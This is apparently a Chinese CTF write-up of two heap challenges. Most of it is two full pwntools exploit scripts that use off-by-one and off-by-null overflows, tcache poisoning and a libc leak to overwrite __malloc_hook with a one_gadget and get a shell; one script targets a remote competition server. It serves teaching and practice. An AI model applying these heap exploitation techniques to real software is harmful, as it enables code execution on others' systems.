通过“强网”拟态学习了off-by-one和off-by-null的姿势,写一下总结

old_school

很经典的菜单题,有New、Edit、Print、Remove功能,其中Edit里有一个溢出,可以多写一个字节的内容,即off-by-one,就不上图了,直接上exp分析

# -*- coding:utf-8  -*-
from pwn import *
context.log_level='debug'

r = remote("121.36.194.21", 49153)
# r = process("./old_school")

def New(index, size):
    r.sendlineafter("Your choice:", '1')
    r.sendlineafter("Index:", str(index))
    r.sendlineafter("Size:", str(size))

def Edit(index, content):
    r.sendlineafter("Your choice:", '2')
    r.sendlineafter("Index:", str(index))
    r.sendafter("Content:", content)

def Print(index):
    r.sendlineafter("Your choice:", '3')
    r.sendlineafter("Index:", str(index))
    r.recvuntil("Content: ")
    return r.recvuntil("1. New")[:-7]

def Remove(index):
    r.sendlineafter("Your choice:", '4')
    r.sendlineafter("Index:", str(index))


# tcache
# 因为是 ubuntu18 的环境,所以会有tcache机制,tcache可以简单的理解为一个缓冲区,在 [0x20, 0x400) 范围内的堆块在释放的时候会首先放入相应的tcache链表中,每个链表上最多存储7个 chunk,同时,因为tcache在其他的机制之前,并且他的某些机制做的不是很好,使得堆溢出某种意义上变得更简单了?(一定环境条件下)
# tcache的利用:如果存在两个指向同一堆块的指针,可以将一个放入tcache中,用另一个直接修改chunk的fd指针用于申请指定地址的内存

New(10, 0xd8)
New(11, 0xd8)
New(12, 0xd8)
New(13, 0xd8)
New(14, 0xd8)
New(15, 0xd8)
New(16, 0xd8)
Remove(10)
Remove(11)
Remove(12)
Remove(13)
Remove(14)
Remove(15)
Remove(16)    # 将 0xe0 的tcache链填充满



New(0, 0x68)    # 0x70 大小的chunk
New(1, 0x68)
New(2, 0x68)
New(3, 0x68)
New(4, 0x68)


Edit(0, 'a'*0x68+p8(0xe1))    # 通过0修改1的大小,使其等于1+2的大小
Remove(1)    # 释放1,因为此时1的大小为1+2的大小,所以会将1和2放在一起释放掉(被当成了一个chunk)
             # 1+2的大小为 0xe0, 因为tcache中0xe0大小的链表之前已经填充满了。所以此时1会被放入unsorted bin中
New(1, 0x68)    # 1) 检测到tcache中没有大小相对应的chunk
                # 2) 检测到bin中没有大小相对应的chunk,但是unsorted bin中存在一个大chunk,进行分割
                # 分割后此时unsorted bin中存放的内容便是2
unsorted_bin = u64(Print(2).ljust(8, '\x00'))-8    # 通过2的fd泄漏unsorted bin的地址
log.success("unsorted bin => {}".format(hex(unsorted_bin)))
log.success("__malloc_hook addr => {}".format(hex(unsorted_bin-88-0x10)))
main_arena = unsorted_bin - 88
malloc_hook = main_arena - 0x10
hack = malloc_hook - 0x23    # 额外覆盖0x13


from SearchLibc import *
libc = SearchLibc("__malloc_hook", malloc_hook)
base = malloc_hook - libc.dump([ '__malloc_hook' ]) 
ogg = libc.ogg() + base


# ogg = 0x4f432 + main_arena - 0x3EBC40
log.success("hack addr => {}".format(hex(hack)))
log.success("one_gadget addr => {}".format(hex(ogg)))

New(5, 0x68)    # 将unsorted bin中chunk申请出来
                # 此时2和5指向同一块内存
Remove(2)    # 将2放入tcache中
Edit(5, p64(hack)+'\n')    # 修改2的fd指针

New(8, 0x68)    # 将2申请出来
New(9, 0x68)    # 将指定的的内存申请出来
Edit(9, 'a'*0x23+p64(ogg)+'\n')    # 修改__malloc_hook内容
# pause()
New(17, 0x30)    # 触发__malloc_hook




r.interactive()

old_school_revenge

程序内容和上个题一致,唯一的区别就是之前的off-by-one变成了off-by-null,同样直接上脚本讲解

# -*- coding:utf-8  -*-
from pwn import *
context.log_level='info'

# r = remote("121.36.194.21", 49153)
r = process("./old_school_revenge")
pause()

def New(index, size):
    r.sendlineafter("Your choice:", '1')
    r.sendlineafter("Index:", str(index))
    r.sendlineafter("Size:", str(size))

def Edit(index, content):
    r.sendlineafter("Your choice:", '2')
    r.sendlineafter("Index:", str(index))
    r.sendlineafter("Content:", content)

def Print(index):
    r.sendlineafter("Your choice:", '3')
    r.sendlineafter("Index:", str(index))
    r.recvuntil("Content: ")
    return r.recvuntil("1. New")[:-7]

def Remove(index):
    r.sendlineafter("Your choice:", '4')
    r.sendlineafter("Index:", str(index))

for i in range(7):
    New(i, 0xf8)    # 用于填充tchche
New(7, 0xf8)
New(8, 0x88)
New(9, 0xf8)
New(10, 0x88)
log.info("New over")

for i in range(7):
    Remove(i)

Remove(8)        #               
Remove(7)        # 
New(11, 0x88)    # 注意这个chunk和8是同一块内容
Edit(11, 'a'*0x80+p64(0x90+0x100))    # 相当于用8修改9的prev_size字段
# context.log_level='debug'

Remove(9)    # 释放9,触发unlink,完成overlap

for i in range(8):
    New(i, 0xf8)    # 获取(7+1)个chunk,此时unsortbin中放的chunk为8+9合并起来的一个大chunk



#leak libc
unsorted_bin = u64(Print(11).ljust(8, '\x00')) - 8    # 通过11查看unsortbin的地址,注意这个11和8是一个chunk
log.success("unsorted bin => {}".format(hex(unsorted_bin)))
log.success("__malloc_hook addr => {}".format(hex(unsorted_bin-88-0x10)))
main_arena = unsorted_bin - 88
malloc_hook = main_arena - 0x10
hack = malloc_hook - 0x23    # 额外覆盖0x13
log.success("hack addr => {}".format(hex(hack)))
# pause()


from SearchLibc import *
libc = SearchLibc("__malloc_hook", malloc_hook)
base = malloc_hook - libc.dump([ '__malloc_hook' ]) 
system = base + libc.dump([ 'system' ])
ogg = libc.ogg() + base


New(8, 0x88)    # 将8申请出来,此时8和11指向同一块内存,后续常规利用即可


Remove(8)
Edit(11, p64(hack))
pause()
New(9, 0x88)
New(12, 0x88)
Edit(12, 'a'*0x23+p64(ogg))
pause()
New(13, 0x23)


r.interactive()

附图一张
Lily_Screenshot_1636209339.png

Q.E.D.


来都来了,点个广告再走吧(=・ω・=)